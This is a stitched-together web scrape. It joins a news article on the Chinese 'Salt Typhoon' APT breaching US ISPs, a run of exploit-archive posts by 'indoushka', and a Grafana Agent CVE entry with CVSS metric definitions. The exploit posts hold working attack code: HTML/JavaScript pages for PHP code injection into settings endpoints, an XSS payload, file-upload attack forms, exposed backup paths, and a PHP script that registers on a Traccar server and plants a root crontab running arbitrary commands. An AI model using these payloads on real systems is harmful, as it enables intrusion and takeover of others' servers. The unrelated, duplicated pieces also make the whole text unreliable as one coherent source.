The state-sponsored advanced persistent threat (APT) is going after high-value communications service provider networks in the US, potentially with a dual set of goals.

Source: BSIP SA via Alamy Stock Photo

A freshly discovered advanced persistent threat (APT) dubbed "Salt Typhoon" has reportedly infiltrated Internet service provider (ISP) networks in the US, looking to steal information and potentially set up a launchpad for disruptive attacks.

Citing "people familiar with the matter," the Wall Street Journal broke the news on Sept. 25 that the Chinese-sponsored state hackers have successfully targeted "a handful" of cable and broadband service providers during the campaign.

Other details are scant, but Salt Typhoon's efforts highlight China's priorities when it comes to geopolitical realities, researchers note.

**A Sprinkle of Espionage, A Dash of Pre-Positioning**

For instance, a position within the service provider network would offer valuable reconnaissance for how to further target high-value marks working for the federal government, law enforcement, manufacturers, military contractors, and Fortune 100 companies. 

"Obtaining access to ISPs would make it easier to survey those users of the ISPs for information on their location and what kinds of services are being accessed," says Sean McNee, vice president of research and data at DomainTools. "Bad actors could get information about the ISP's users, where they live and billing information, and what kind of access or usage they have, \[who they call, and\] text messages."

But the concern doesn't stop there. Given China's desire to control Taiwan and other assets in the region, there's very likely a military component to the campaign as well.

"Based on the recent history of Chinese-sponsored cyber campaigns and warnings from \[the Cybersecurity and Infrastructure Security Agency\] and FBI, China has escalated from surveillance-only goals toward installing an offensive capability to disrupt critical US civilian and military infrastructure," warns Sean Deuby, principal technologist at Semperis. "This could potentially range from 'blinking the lights' to dissuade US intervention to actively delaying or crippling a US response to Chinese activities."

There's precedent for that assessment. Microsoft outed Volt Typhoon in January and its alarming efforts to plant itself inside military bases, critical infrastructure assets, and telecom infrastructure — all with the goal of being able to cause outages, disrupt communications, and sow panic in the event of a kinetic conflict with the US in the South China Sea. Since then, China has denied the allegations, while the APT has been actively expanding its efforts despite its cover being blown.

**China's Recipe: Targeting Telecom, ISPs, Critical Infrastructure**

The development is the latest in a string of Chinese-sponsored efforts to subvert critical infrastructure in the US and destabilize Pacific Rim allies, many flagged by Microsoft using hurricane-related names.

For instance, a Chinese threat actor known as Flax Typhoon emerged a year ago, using legitimate tools and utilities built into the Windows operating system to carry out an extremely stealthy and persistent spy operation against entities in Taiwan. Last week, news emerged that the APT had built a 200,000-device Internet of Things (IoT) botnet in order to gain a foothold in government, military, and critical manufacturing targets in the US.

There's also the APT that Microsoft calls Brass Typhoon (aka APT41, Earth Baxia, and Wicked Panda) that recently attacked Taiwanese government agencies, Filipino and Japanese military, and energy companies in Vietnam, installing backdoors for cyberespionage purposes.  

On top of that, other China-linked groups have made a name for themselves in specifically targeting communications service providers, such as Mustang Panda, especially in Taiwan and other countries of interest.

"Chinese-backed threat actors have been conducting attacks against telcos for as long as I can remember," Semperis' Deuby says. "Historically, their goals are to create 'persistence' in the carrier. By that I mean they will infiltrate a target, gain a foothold, and then move laterally with the goal of maintaining persistence and extracting data from strategic targets as needed."

He adds that lurking and listening is a specialty: "While Chinese government actors were behind the infamous Operation Soft Cell campaign in 2019, where the threat actor stole call data records, they had infiltrated some of the telcos more than five years before being discovered."

**Communications Service Provider Defenses Need Seasoning**

The ongoing targeting of communications infrastructure should put carriers and service providers on notice to harden their defenses.

Aside from phishing and social engineering of employees, Terry Dunlap, chief security strategist at NetRise, notes that firmware and supply chain attacks using core network gear could both be attack avenues against ISPs.

"ISPs' blind spots are the firmware running their devices. Most firmware contains insecure or sloppy code that can be easily exploited, if discovered," he notes. "Another attack vector would be the supply chain. For example, if the Ethernet controller in a router or switch is supplied by a Chinese company, there are scenarios where malicious code or backdoors could be integrated into that Ethernet controller, providing an adversary easy access to that important piece of networking equipment."

In 2020, the World Economic Forum and its global partners developed a set of best practices for ISPs (PDF), including principles such as sharing threat intelligence between peers, working more closely with hardware manufacturers to increase minimum levels of security, and improving routing security, Deuby says.

Still, "as someone that's talked to many organizations about the well-understood security steps they should be taking versus their actual security posture, I'm sure plenty of gaps remain."

**About the Author**

Tara Seals has 20+ years of experience as a journalist, analyst and editor in the cybersecurity, communications and technology space. Prior to Dark Reading, Tara was Editor in Chief at Threatpost, and prior to that, the North American news lead for Infosecurity Magazine. She also spent 13 years working for Informa (formerly Virgo Publishing), as executive editor and editor-in-chief at publications focused on both the service provider and the enterprise arenas. A Texas native, she holds a B.A. from Columbia University, lives in Western Massachusetts with her family and is on a never-ending quest for good Mexican food in the Northeast.

China's 'Salt Typhoon' Cooks Up Cyberattacks on US ISPs

PHP SPM version 1.0 suffers from a PHP code injection vulnerability.

=============================================================================================================================================  
| # Title     : php spm 1.0 php code injection Vulnerability                                                                                |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            |  
| # Vendor    : https://www.kashipara.com/project/download/project2/user/2023/202305/kashipara.com_php-spms-zip.zip                         |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] This code injects the malicious code you want into existing HTML files or creates a new HTML file and injects the payload.

[+] Line 11 Set your file name & payload.

[+] save payload as poc.html

[+] payload :

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title> PHP code injection Tool</title>  
    <script>  
        async function sendRequest() {  
            const url = document.getElementById('url').value;  
            const postData = {  
                'content[welcome]': `Hacked by indoushka`  
            };

            try {  
                const response = await fetch(`${url}/classes/SystemSettings.php?f=update_settings`, {  
                    method: 'POST',  
                    headers: {  
                        'Content-Type': 'application/x-www-form-urlencoded'  
                    },  
                    body: new URLSearchParams(postData).toString()  
                });

                if (response.ok) {  
                    document.getElementById('result').innerText = '[+] Injection in welcome page\n[+] ' + url + '/?cmd=ls -al\n';

                } else {  
                    document.getElementById('result').innerText = 'Error: ' + response.statusText;  
                }  
            } catch (error) {  
                document.getElementById('result').innerText = 'Error making request: ' + error.message;  
            }  
        }  
    </script>  
</head>  
<body>  
    <h1>Injection Tool</h1>  
    <form onsubmit="event.preventDefault(); sendRequest();">  
        <label for="url">Enter URL:</label>  
        <input type="text" id="url" name="url" required>  
        <button type="submit">Submit</button>  
    </form>  
    <pre id="result"></pre>  
</body>  
</html>

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

PHP SPM 1.0 Code Injection

PHP ACRSS version 1.0 suffers from a PHP code injection vulnerability.

=============================================================================================================================================  
| # Title     : php acrss 1.0 php code injection Vulnerability                                                                              |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            |  
| # Vendor    : https://www.kashipara.com/project/download/project2/user/2023/202305/kashipara.com_php-acrss-zip.zip                        |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] This code injects the malicious code you want into existing HTML files or creates a new HTML file and injects the payload.

[+] Line 11 Set your file name & payload.

[+] save payload as poc.html

[+] payload :

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title> PHP code injection Tool</title>  
    <script>  
        async function sendRequest() {  
            const url = document.getElementById('url').value;  
            const postData = {  
                'content[welcome]': `Hacked by indoushka`  
            };

            try {  
                const response = await fetch(`${url}/classes/SystemSettings.php?f=update_settings`, {  
                    method: 'POST',  
                    headers: {  
                        'Content-Type': 'application/x-www-form-urlencoded'  
                    },  
                    body: new URLSearchParams(postData).toString()  
                });

                if (response.ok) {  
                    document.getElementById('result').innerText = '[+] Injection in welcome page\n[+] ' + url + '/?cmd=ls -al\n';

                } else {  
                    document.getElementById('result').innerText = 'Error: ' + response.statusText;  
                }  
            } catch (error) {  
                document.getElementById('result').innerText = 'Error making request: ' + error.message;  
            }  
        }  
    </script>  
</head>  
<body>  
    <h1>Injection Tool</h1>  
    <form onsubmit="event.preventDefault(); sendRequest();">  
        <label for="url">Enter URL:</label>  
        <input type="text" id="url" name="url" required>  
        <button type="submit">Submit</button>  
    </form>  
    <pre id="result"></pre>  
</body>  
</html>

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

PHP ACRSS 1.0 Code Injection

Online mcq System version 1.0 suffers from a cross site scripting vulnerability.

    =============================================================================================================================================| # Title     : Online mcq System 1.0 XSS vulnerability                                                                                     || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.kashipara.com/project/download/project2/user/2023/202304/kashipara.com_onlinemcq-zip.zip                        |=============================================================================================================================================[+] POC :[+] use Payload : feedback.php?q=Thank%2520you%2520for%2520your%2520valuable%2520feedback'"()%26%25<acx><ScRiPt >prompt(990455)</ScRiPt>   [+] http://127.0.0.1/onlinemcq/feedback.php?q=Thank%2520you%2520for%2520your%2520valuable%2520feedback%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(990455)%3C/ScRiPt%3EGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Online mcq System 1.0 Cross Site Scripting

Online Job Search System version 1.0 suffers from an arbitrary file upload vulnerability.

=============================================================================================================================================| # Title     : Online Job Search System 1.0 Remote File Upload Vulnerability                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.campcodes.com/downloads/online-job-search-system-using-php-mysql-source-code/?wpdmdl=8545&refresh=66bbf77f15e8c1723594623       |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] The following html code uploads a executable malicious file remotely .[+] Go to the line 10.[+] Set the target site link Save changes and apply . [+] save code as poc.html .<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Submit Application</title></head><body>    <h2>Submit Application</h2>    <form action="http://127.0.0.1/eris/process.php?action=submitapplication&JOBID=2" method="POST" enctype="multipart/form-data">                <div class="form-group">            <label for="picture">Upload your picture:</label>            <input type="file" name="picture" id="picture" required>        </div>                <div class="form-group">            <button type="submit">Submit</button>        </div>    </form></body></html>[+] path : http://127.0.0.1/eris/applicant/photosGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Online Job Search System 1.0 Arbitrary File Upload

Online Flight Booking System version 1.0 suffers from an arbitrary file upload vulnerability.

=============================================================================================================================================================================  
| # Title     : Online Flight Booking System 1.0 Remot File Upload vulnerability                                                                                            |  
| # Author    : indoushka                                                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                                                            |  
| # Vendor    : https://www.campcodes.com/downloads/online-flight-booking-management-system-source-code/?wpdmdl=5913&refresh=66bbf742d7abc1723594562                        |  
=============================================================================================================================================================================

[+] POC :

[+] The following html code uploads a executable malicious file remotely .

   [+] Line 28 : Set your Target.

[+] save payload as poc.html

[+] payload : 

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>RFU</title>  
</head>  
<body>

        <div class="form-group">  
      <label for="" class="control-label">Avatar</label>  
      <div class="custom-file">  
              <input type="file" class="custom-file-input rounded-circle" id="customFile" name="img" onchange="displayImg(this,$(this))">  
              <label class="custom-file-label" for="customFile">Choose file</label>  
            </div>  
    </div>

        <input type="button" value="Save User" onclick="saveUser()">  
    </form>

    <script>  
        function saveUser() {  
            var form = document.getElementById('userForm');  
            var formData = new FormData(form);

            var xhr = new XMLHttpRequest();  
            xhr.open("POST", "http://127.0.0.1/Online_Flight_Booking_Management_System/admin/ajax.php?action=save_settings", true);

            xhr.onload = function () {  
                if (xhr.status === 200) {  
                    alert('User saved successfully');  
                } else {  
                    alert('An error occurred while saving the user');  
                }  
            };

            xhr.send(formData);  
        }  
    </script>

</body>  
</html>

[+] Path : http://127.0.0.1/Online_Flight_Booking_Management_System/assets/img

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

Online Flight Booking System 1.0 Arbitrary File Upload

Multi Branch School Management System version 3.5 suffers from a backup disclosure vulnerability.

**Multi Branch School Management System 3.5 Backup Disclosure**

Posted Sep 25, 2024

Authored by indoushka

Multi Branch School Management System version 3.5 suffers from a backup disclosure vulnerability.

tags | exploit, info disclosure

SHA-256 | b4c3fb3408f8d7a80baf2b5ec0b035520c60a8b287134c61abe01863834639ea

Download | Favorite | View

**Multi Branch School Management System 3.5 Backup Disclosure**

    =============================================================================================================================================| # Title     : Multi Branch School Management System 3.5 Backup Disclosure Vulnerability                                                   || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://school.ramomcoder.com/                                                                                              |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Appears to leave backups in a world accessible directory under the document root.  [+] use Payload : /uploads/db_backup/[+] http://127.0.0.1/Multi/uploads/db_backup/Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

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Multi Branch School Management System 3.5 Backup Disclosure

Complete Multi Hospital Management System version 1.0 suffers from a backup disclosure vulnerability.

**Complete Multi Hospital Management System 1.0 Backup Disclosure**

Posted Sep 25, 2024

Authored by indoushka

Complete Multi Hospital Management System version 1.0 suffers from a backup disclosure vulnerability.

tags | exploit, info disclosure

SHA-256 | e760cf3c5b44d7d8984817fcf92204fd9912a026b5d02720406cc72f12ac70ed

Download | Favorite | View

**Complete Multi Hospital Management System 1.0 Backup Disclosure**

    =============================================================================================================================================| # Title     : Complete Multi Hospital Management System 1.0 Backup Disclosure Vulnerability                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://www.campcodes.com/downloads/free-download-complete-multi-hospital-management-system/                                |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Appears to leave backups in a world accessible directory under the document root.  [+] use Payload : /files/backups/[+] http://127.0.0.1/multihospital/files/backups/Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

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Complete Multi Hospital Management System 1.0 Backup Disclosure

Traccar version 5.1 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Traccar 5.1 php code injection Vulnerability                                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://www.traccar.org/old-versions/                                                                                       |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This PHP script assumes you're targeting a similar HTTP service that allows file uploads and interacting with REST APIs.[+] save payload as poc.php[+] usage : C:\www\test>php poc.php[+] Line 117 : login info : 'root', 'toor', 'indoushka@packetstormsecurity.com', '/');[+] payload :<?phpclass TraccarExploit {    private $host;    private $port;    private $username;    private $password;    private $email;    private $target_uri;    public function __construct($host, $port = 8082, $username = '', $password = '', $email = '', $target_uri = '/') {        $this->host = $host;        $this->port = $port;        $this->username = $username;        $this->password = $password;        $this->email = $email;        $this->target_uri = $target_uri;    }    public function send_request($method, $uri, $data = null, $ctype = 'application/json') {        $url = "http://{$this->host}:{$this->port}{$uri}";        $headers = [            "Content-Type: {$ctype}",        ];        $ch = curl_init($url);        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        if ($data) {            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);        }        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);        $response = curl_exec($ch);        curl_close($ch);        return json_decode($response, true);    }    public function register_user() {        echo "Registering new user...\n";        $body = json_encode([            'name' => $this->username,            'email' => $this->email,            'password' => $this->password,            'totpKey' => null        ]);        $res = $this->send_request('POST', $this->target_uri . 'api/users', $body);        if (!$res || $res['code'] !== 200) {            die("Failed to register user. Response: " . print_r($res, true));        }        echo "User registered successfully.\n";    }    public function authenticate() {        echo "Authenticating...\n";        $data = http_build_query([            'email' => $this->email,            'password' => $this->password        ]);        $res = $this->send_request('POST', $this->target_uri . 'api/session', $data, 'application/x-www-form-urlencoded');        if (!$res || $res['code'] !== 200) {            die("Failed to authenticate. Response: " . print_r($res, true));        }        echo "Authenticated successfully.\n";    }    public function upload_cron_file($cmd) {        echo "Adding new device...\n";        $body = json_encode([            'name' => bin2hex(random_bytes(8)),            'uniqueId' => bin2hex(random_bytes(8))        ]);        $res = $this->send_request('POST', $this->target_uri . 'api/devices', $body);        if (!$res || $res['code'] !== 200) {            die("Failed to add device. Response: " . print_r($res, true));        }        $device_id = $res['id'];        $cron_job = "* * * * * root /bin/bash -c '{$cmd}'\n";        $cron_filename = bin2hex(random_bytes(6));        echo "Uploading crontab file...\n";        $file_data = [            'file' => curl_file_create("data://text/plain;base64," . base64_encode($cron_job), 'image/png', "{$cron_filename}.png")        ];        $this->send_request('POST', $this->target_uri . "api/devices/{$device_id}/image", $file_data, 'multipart/form-data');        echo "Cronjob file uploaded successfully. Waiting for execution...\n";    }    public function exploit($cmd) {        $this->register_user();        $this->authenticate();        $this->upload_cron_file($cmd);    }}// Usage example:$exploit = new TraccarExploit('127.0.0.1', 8082, 'root', 'toor', 'indoushka@packetstormsecurity.com', '/');$exploit->exploit('id'); // Replace 'id' with your desired command to execute?>Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Traccar 5.1 Code Injection

Unquoted Search Path or Element vulnerability in Grafana Agent (Flow mode) on Windows allows Privilege Escalation from Local User to SYSTEM.
This issue affects Agent Flow before 0.43.3.

**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

Tag

#windows